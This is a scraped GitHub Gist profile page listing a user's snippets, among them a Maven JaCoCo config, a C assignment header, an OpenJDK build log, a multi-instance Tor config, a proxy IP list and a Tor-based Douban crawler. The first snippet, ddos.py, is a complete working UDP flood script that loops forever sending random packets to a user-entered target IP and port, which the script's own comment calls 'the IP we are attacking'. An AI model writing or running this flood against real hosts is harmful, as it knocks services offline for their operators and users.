Skip to content

Instantly share code, notes, and snippets.

View MewX's full-sized avatar
🙀
Backing to the office!

MewX MewX

🙀
Backing to the office!
View GitHub Profile
@MewX
MewX / ddos.py
Created September 14, 2018 11:46
Countering rubbish Australian ADSL
import socket #Imports needed libraries
import random
sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM) #Creates a socket
bytes=random._urandom(1024) #Creates packet
ip=raw_input('Target IP: ') #The IP we are attacking
port=input('Port: ') #Port we direct to attack
while 1: #Infinitely loops sending packets to the port until the program is exited.
sock.sendto(bytes,(ip,port))
@MewX
MewX / pom_a_module.xml
Last active August 21, 2018 00:04
maven jacoco plugin generate aggregate report
<!-- part of the pom -->
<build>
<plugins>
<plugin>
<groupId>org.jacoco</groupId>
<artifactId>jacoco-maven-plugin</artifactId>
<executions>
<execution>
<id>report-aggregate</id>
@MewX
MewX / assign.c
Created July 17, 2018 11:33
Forgot which assignment it is, but just a dramatically simple C++ assignment from university of south australia. (PfE Programming Assignment - sp2, 2017)
#include <stdio.h>
#include <string.h>
#include "profile.h"
#define _CRT_SECURE_NO_WARNINGS
#define TRUE 1
#define FALSE 0
#define MAX_LINE_LENGTH (NAME_STRING_LENGTH + NAME_STRING_LENGTH + EMAIL_STRING_LENGTH)
int main()
@MewX
MewX / build.log
Created February 12, 2018 12:20
Building openjdk 8
====================================================
A new configuration has been successfully created in
/home/cloud-user/test/jdk8u-dev/build/linux-x86_64-normal-server-release
using default settings.
Configuration summary:
* Debug level: release
* JDK variant: normal
* JVM variants: server
* OpenJDK target: OS: linux, CPU architecture: x86, address length: 64
@MewX
MewX / torrc
Created February 7, 2018 06:36
Torrc for multiple instances
SOCKSPort 9060
DataDirectory /usr/local/var/lib/tor2
ControlPort 9061
HashedControlPassword 16:4180199633DE420C60DED881F36D8138FEF06EE6A48E7012CA35328BEB
MaxCircuitDirtiness 600
@MewX
MewX / index.html
Created January 2, 2018 15:40
wechat xiaochengxu
<html lang="zh-CN">
<head>
<style>
html {
-webkit-user-select: none;
user-select: none;
height: 100%;
width: 100%;
}
@MewX
MewX / iplist.json
Created December 28, 2017 10:19
Transsocks
{
"status": "ok",
"lines": [{
"ipaddr": "180.97.220.129",
"private": false,
"mode": "back-cn",
"load": 16,
"name": "回国线路24",
"location": "镇江",
"id": 35
@MewX
MewX / prism.css
Created December 22, 2017 01:26
Prism.js configuration for my next blog
/* PrismJS 1.9.0
http://prismjs.com/download.html?themes=prism-coy&languages=markup+css+clike+javascript+actionscript+c+asm6502+aspnet+bash+cpp+ruby+django+groovy+java+json+kotlin+latex+lua+makefile+markdown+matlab+nasm+nginx+perl+php+python+jsx+scala+sql+yaml&plugins=line-numbers+toolbar+copy-to-clipboard */
/**
* prism.js Coy theme for JavaScript, CoffeeScript, CSS and HTML
* Based on https://github.com/tshedor/workshop-wp-theme (Example: http://workshop.kansan.com/category/sessions/basics or http://workshop.timshedor.com/category/sessions/basics);
* @author Tim Shedor
*/
code[class*="language-"],
pre[class*="language-"] {
@MewX
MewX / failed_msg.html
Last active December 8, 2017 03:23
tmall login
<div class="login-check-mobile">
<div class="ui-tiptext ui-tiptext-message">
<i class="iconfont"></i>你正在使用手机短信验证身份
</div>
<div class="ui-form-item">
<label class="ui-label">手机号码:</label>
<input type="hidden" value="61-*****0189" id="J_MobileVal" data="86" name="_fm.v._0.p">
<div class="ui-form-text"> 61-*****0189 </div>
</div>
<input type="hidden" name="_fm.v._0.a" value="86" id="areaCode">
@MewX
MewX / CrawlDouban.java
Last active December 10, 2017 01:01
Douban event crawler using Tor
import java.io.File;
import java.io.UnsupportedEncodingException;
import java.sql.*;
import java.text.ParseException;
import java.text.SimpleDateFormat;
import java.util.Calendar;
import java.util.Date;
import java.util.regex.Matcher;
import java.util.regex.Pattern;